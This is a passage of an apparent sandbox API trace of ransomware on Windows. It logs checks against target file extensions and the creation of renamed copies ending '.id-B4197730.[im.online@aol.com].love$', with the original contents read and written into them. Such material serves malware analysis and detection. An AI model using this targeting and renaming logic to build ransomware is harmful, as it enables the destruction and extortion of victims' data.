(lpString=".bz2") returned 4 [0224.385] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.385] lstrlenW (lpString=".7z") returned 3 [0224.385] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0224.385] lstrlenW (lpString=".dbf") returned 4 [0224.386] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0224.386] lstrlenW (lpString=".1cd") returned 4 [0224.386] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0224.386] lstrlenW (lpString=".jpg") returned 4 [0224.386] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0224.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0224.386] lstrlenW (lpString=".doc") returned 4 [0224.386] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.386] lstrlenW (lpString=".docx") returned 5 [0224.386] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0224.386] lstrlenW (lpString=".pdf") returned 4 [0224.386] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.386] lstrlenW (lpString=".xls") returned 4 [0224.386] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.386] lstrlenW (lpString=".xlsx") returned 5 [0224.386] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0224.386] lstrlenW (lpString=".ppt") returned 4 [0224.386] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.386] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0224.386] lstrlenW (lpString=".zip") returned 4 [0224.386] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.386] lstrlenW (lpString=".rar") returned 4 [0224.386] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.386] lstrlenW (lpString=".bz2") returned 4 [0224.386] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.386] lstrlenW (lpString=".7z") returned 3 [0224.387] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0224.387] lstrlenW (lpString=".dbf") returned 4 [0224.387] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0224.387] lstrlenW (lpString=".1cd") returned 4 [0224.387] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0224.387] lstrlenW (lpString=".jpg") returned 4 [0224.387] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.387] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0224.387] lstrlenW (lpString="split.avi") returned 9 [0224.387] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0224.388] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=181964) returned 1 [0224.388] CloseHandle (hObject=0x3c4) returned 1 [0224.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0224.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0224.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0224.388] lstrlenW (lpString=".doc") returned 4 [0224.388] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.388] lstrlenW (lpString=".docx") returned 5 [0224.388] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0224.388] lstrlenW (lpString=".pdf") returned 4 [0224.388] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.388] lstrlenW (lpString=".xls") returned 4 [0224.388] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.388] lstrlenW (lpString=".xlsx") returned 5 [0224.389] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0224.389] lstrlenW (lpString=".ppt") returned 4 [0224.389] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0224.389] lstrlenW (lpString=".zip") returned 4 [0224.389] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.389] lstrlenW (lpString=".rar") returned 4 [0224.389] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.389] lstrlenW (lpString=".bz2") returned 4 [0224.389] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.389] lstrlenW (lpString=".7z") returned 3 [0224.389] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0224.389] lstrlenW (lpString=".dbf") returned 4 [0224.389] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0224.389] lstrlenW (lpString=".1cd") returned 4 [0224.389] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0224.389] lstrlenW (lpString=".jpg") returned 4 [0224.389] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0224.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0224.389] lstrlenW (lpString=".doc") returned 4 [0224.389] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.389] lstrlenW (lpString=".docx") returned 5 [0224.390] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0224.390] lstrlenW (lpString=".pdf") returned 4 [0224.390] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.390] lstrlenW (lpString=".xls") returned 4 [0224.390] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.390] lstrlenW (lpString=".xlsx") returned 5 [0224.390] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0224.390] lstrlenW (lpString=".ppt") returned 4 [0224.390] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0224.390] lstrlenW (lpString=".zip") returned 4 [0224.390] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.390] lstrlenW (lpString=".rar") returned 4 [0224.390] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.390] lstrlenW (lpString=".bz2") returned 4 [0224.390] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.390] lstrlenW (lpString=".7z") returned 3 [0224.390] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0224.390] lstrlenW (lpString=".dbf") returned 4 [0224.390] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0224.390] lstrlenW (lpString=".1cd") returned 4 [0224.390] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0224.390] lstrlenW (lpString=".jpg") returned 4 [0224.390] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.391] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0224.391] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0224.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0224.508] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=1600388) returned 1 [0224.508] CloseHandle (hObject=0x3d4) returned 1 [0224.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0224.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.509] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[im.online@aol.com].love$")) returned 0 [0224.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0224.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0224.509] lstrlenW (lpString=".doc") returned 4 [0224.509] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.509] lstrlenW (lpString=".docx") returned 5 [0224.509] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0224.509] lstrlenW (lpString=".pdf") returned 4 [0224.509] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.509] lstrlenW (lpString=".xls") returned 4 [0224.509] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.509] lstrlenW (lpString=".xlsx") returned 5 [0224.509] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0224.509] lstrlenW (lpString=".ppt") returned 4 [0224.509] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.509] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0224.510] lstrlenW (lpString=".zip") returned 4 [0224.510] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.510] lstrlenW (lpString=".rar") returned 4 [0224.510] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.510] lstrlenW (lpString=".bz2") returned 4 [0224.510] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.510] lstrlenW (lpString=".7z") returned 3 [0224.510] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0224.510] lstrlenW (lpString=".dbf") returned 4 [0224.510] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0224.510] lstrlenW (lpString=".1cd") returned 4 [0224.510] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0224.510] lstrlenW (lpString=".jpg") returned 4 [0224.510] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0224.560] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0224.560] lstrlenW (lpString=".doc") returned 4 [0224.560] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.560] lstrlenW (lpString=".docx") returned 5 [0224.560] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0224.560] lstrlenW (lpString=".pdf") returned 4 [0224.561] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.561] lstrlenW (lpString=".xls") returned 4 [0224.561] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.561] lstrlenW (lpString=".xlsx") returned 5 [0224.561] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0224.561] lstrlenW (lpString=".ppt") returned 4 [0224.561] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0224.561] lstrlenW (lpString=".zip") returned 4 [0224.561] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.561] lstrlenW (lpString=".rar") returned 4 [0224.561] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.561] lstrlenW (lpString=".bz2") returned 4 [0224.561] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.561] lstrlenW (lpString=".7z") returned 3 [0224.561] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0224.561] lstrlenW (lpString=".dbf") returned 4 [0224.561] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0224.561] lstrlenW (lpString=".1cd") returned 4 [0224.561] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0224.561] lstrlenW (lpString=".jpg") returned 4 [0224.561] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.562] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0224.562] lstrlenW (lpString="base_ca.xml") returned 11 [0224.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0224.617] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=3529) returned 1 [0224.617] CloseHandle (hObject=0x3ec) returned 1 [0224.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0224.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0224.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0224.618] lstrlenW (lpString=".doc") returned 4 [0224.618] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.618] lstrlenW (lpString=".docx") returned 5 [0224.618] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0224.618] lstrlenW (lpString=".pdf") returned 4 [0224.618] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.618] lstrlenW (lpString=".xls") returned 4 [0224.618] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.618] lstrlenW (lpString=".xlsx") returned 5 [0224.618] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0224.618] lstrlenW (lpString=".ppt") returned 4 [0224.618] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0224.618] lstrlenW (lpString=".zip") returned 4 [0224.618] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.618] lstrlenW (lpString=".rar") returned 4 [0224.618] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.618] lstrlenW (lpString=".bz2") returned 4 [0224.618] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.619] lstrlenW (lpString=".7z") returned 3 [0224.619] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0224.627] lstrlenW (lpString=".dbf") returned 4 [0224.627] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0224.627] lstrlenW (lpString=".1cd") returned 4 [0224.627] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0224.628] lstrlenW (lpString=".jpg") returned 4 [0224.628] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0224.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0224.628] lstrlenW (lpString=".doc") returned 4 [0224.628] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.628] lstrlenW (lpString=".docx") returned 5 [0224.628] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0224.628] lstrlenW (lpString=".pdf") returned 4 [0224.628] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.628] lstrlenW (lpString=".xls") returned 4 [0224.628] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.628] lstrlenW (lpString=".xlsx") returned 5 [0224.640] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0224.640] lstrlenW (lpString=".ppt") returned 4 [0224.640] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0224.664] lstrlenW (lpString=".zip") returned 4 [0224.664] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.664] lstrlenW (lpString=".rar") returned 4 [0224.664] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.665] lstrlenW (lpString=".bz2") returned 4 [0224.665] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.665] lstrlenW (lpString=".7z") returned 3 [0224.665] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0224.665] lstrlenW (lpString=".dbf") returned 4 [0224.665] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0224.665] lstrlenW (lpString=".1cd") returned 4 [0224.665] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0224.665] lstrlenW (lpString=".jpg") returned 4 [0224.665] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.665] Sleep (dwMilliseconds=0x64) [0225.040] lstrcmpiW (lpString1=".htm", lpString2=".love$") returned -1 [0225.040] lstrlenW (lpString="Garden.htm") returned 10 [0225.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0225.138] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=231) returned 1 [0225.138] CloseHandle (hObject=0x398) returned 1 [0225.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0225.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0225.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0225.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0225.150] lstrlenW (lpString=".doc") returned 4 [0225.150] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0225.150] lstrlenW (lpString=".docx") returned 5 [0225.150] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1 [0225.150] lstrlenW (lpString=".pdf") returned 4 [0225.150] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0225.151] lstrlenW (lpString=".xls") returned 4 [0225.151] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0225.151] lstrlenW (lpString=".xlsx") returned 5 [0225.151] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1 [0225.151] lstrlenW (lpString=".ppt") returned 4 [0225.151] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0225.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0225.151] lstrlenW (lpString=".zip") returned 4 [0225.151] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0225.151] lstrlenW (lpString=".rar") returned 4 [0225.151] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0225.151] lstrlenW (lpString=".bz2") returned 4 [0225.151] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0225.151] lstrlenW (lpString=".7z") returned 3 [0225.151] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0225.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68 [0226.048] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=10832) returned 1 [0226.048] CloseHandle (hObject=0x458) returned 1 [0226.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0x220 [0226.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0x20 [0226.055] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=1596) returned 1 [0226.055] CloseHandle (hObject=0x458) returned 1 [0226.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0x220 [0226.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0226.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0226.057] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.057] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0226.058] GetLastError () returned 0x0 [0226.058] ReadFile (in: hFile=0x458, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x63c, lpOverlapped=0x0) returned 1 [0226.074] WriteFile (in: hFile=0x45c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, 